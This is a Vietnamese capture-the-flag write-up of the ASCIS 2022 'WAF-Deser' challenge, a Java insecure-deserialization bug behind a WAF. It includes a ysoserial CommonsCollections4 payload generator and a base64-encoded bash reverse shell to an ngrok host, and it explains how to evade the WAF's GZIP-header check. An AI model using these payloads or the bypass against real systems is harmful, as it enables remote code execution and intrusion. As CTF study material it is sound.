# Write up ASCIS QUALS 2022 ## WAF-Deser Source code của chall: [Here](https://github.com/5h4s1/CTF_write_up/tree/main/ASCIS-QUALS-2022/WAF-Deser) ### Phân tích Đây là 1 chall về java trong giải SVATT ASIAN 2022 vòng sơ khảo. Bắt đầu bắt tay vào phân tích souce code của chall thôi: ![](https://hackmd.io/_uploads/B1fL9aWxa.png) Trong source có sẵn file docker để build. Mọi người chỉ việc build web lên và bắt đầu làm thôi. ![](https://hackmd.io/_uploads/r1RFqa-e6.png) Vào thì cũng chẳng có gì đâu Phân tích sâu hơn trong source code. Chúng ta chú ý trong 2 class `User` và `UserController`. Class `User` đơn giản chỉ có các phương thức get, set nên không có gì nhiểu. Chuyển sang class `UserController`. ![](https://hackmd.io/_uploads/rk-GsTbgT.png) Ở path `/` thì chỉ in ra dòng chữ `Hello ASCIS`. Ở path `info/{info}` thì nhận giá trị ở ``{info}`` vào cộng với giá trị ở param `compress`. Nhìn code thì chúng ta biết ngay đó là lỗ hổng `Java Insecure Deserialization`. Thêm 1 chút chú ý là đầu vào của chúng ta sẽ được decode qua hàm `unEncode` và được `GZIP` lại. Xem xét thêm ở lib thì có 1 chỗ có thể tận dụng được đó là lib `commons-collections4-4.0.jar`. Lib này đã có gadget chain RCE rồi (ở [ysoserial](https://github.com/frohoff/ysoserial/blob/master/src/main/java/ysoserial/payloads/CommonsCollections4.java)). Phân tích đủ rồi chúng ta bóc tách code đó về local để thực hiện debug thôi nào. ### Khai thác Code mình dựng lại: ```java public class Main { public static void main(String[] args) throws IOException { String info = ""; String unencodedData = unEncode(info); String returnData = ""; byte[] data = Base64.getMimeDecoder().decode(unencodedData); InputStream iss = new ByteArrayInputStream(data); InputStream is = new GZIPInputStream(iss); ObjectInputStream ois = new ObjectInputStream(is); try { User user = (User)ois.readObject(); returnData = user.getName(); ois.close(); } catch (Exception var9) { returnData = "?????"; } System.out.println(returnData); } private static String unEncode(String s) { return s.replaceAll("-", "\\r\\n").replaceAll("%3D", "=").replaceAll("%2B", "\\+").replaceAll("_", "/"); } } ``` Và đây là script tạo payload của mình: ```java public class Script implements Serializable{ public static String uEncode(String payload) { return payload.replaceAll("\\r\\n","-" ).replaceAll("=", "%3D").replaceAll("\\+", "%2B").replaceAll("/", "_"); } private static String serialize(Serializable obj) throws Exception { ByteArrayOutputStream baos = new ByteArrayOutputStream(512); GZIPOutputStream gos = new GZIPOutputStream(baos); try (ObjectOutputStream out = new ObjectOutputStream(gos)) { out.writeObject(obj); } return Base64.getEncoder().encodeToString(baos.toByteArray()); } public static void main(String[] args) throws Exception { String command = "open -a calculator"; CommonsCollections4 cc4 = new CommonsCollections4(); Object obj = cc4.getObject(command); String payload = serialize((Serializable) obj); System.out.println(uEncode(payload)); } } ``` Mình giải thích về script trên thì đó là mình sẽ thực hiện từ `ysoserial` tạo ra payload RCE. Rồi sau đó đưa vào hàm `serialize` để thực hiện `gzip` lại vào tạo ra object rồi base64 encode và trả ra payload. ![](https://hackmd.io/_uploads/B1dA6p-gp.png) Chạy thì ok đã mở được calculator, đúng kịch bản đấy. Giờ thì gen payload reverse shell về máy thôi. ```java public static void main(String[] args) throws Exception { String command = "bash -c {echo,c2ggLWkgPiYgL2Rldi90Y3AvMC50Y3AuYXAubmdyb2suaW8vMTg4NDMgMD4mMQ==}|{base64,-d}|{bash,-i}"; CommonsCollections4 cc4 = new CommonsCollections4(); Object obj = cc4.getObject(command); String payload = serialize((Serializable) obj); System.out.println(uEncode(payload)); } ``` Chú ý: - Chall này được build bằng docker và mình không có gì để reverse shell ra ngoài trừ bash. - Trong gadget chall cc4 sử dụng `Runtime.getRuntime.exec()` để thực thi command. Phương thức này có một số hạn chế là sẽ không thực thi được command có một số kí tự đặc biệt. Chỗ này mình base64 command bằng [runtime-exec](https://ares-x.com/tools/runtime-exec/). Gen payload gửi lên server lấy shell về thôi. ![](https://hackmd.io/_uploads/ry831Rblp.png) Nhưng server trả ra 403 với nội dung là đã `Deserialization of Untrusted Data Detected. (From real WAF with <3)`. Có lẽ đã có một WAF nào đó đúng trước. Check lại source thì trong file `nginx.conf` có kiểm tra nếu đầu vào của chúng ta có chứa `H4sI` là sẽ trả về 403. Mà `H4sI` lại là header của GZIP, không thể thay đổi. Nghiên cứu và thử thì thấy nếu chúng ta chèn các kí tự không thuộc base64 vào thì qua `base64` trong java sẽ thực hiện replace và decode. Mình chỉnh lại payload và gửi lại: ![](https://hackmd.io/_uploads/By9tlRbgT.png) ![](https://hackmd.io/_uploads/SJW5lCZx6.png) Shell đã về rồi -> Done Đây là một trong các challange đầu mình nghiên cứu và học tập về `Java Insecure Deserialization`. Challange rất hay về Deserialization và về phần xử lý base64 decode. Trong khi giải bài này mình có tham khảo write up của [devme4f](https://hackmd.io/@devme4f/H1J3Kmw5i). Thank you mọi người đã đọc đến đây -))). Chúc mọi người một ngày tốt lành.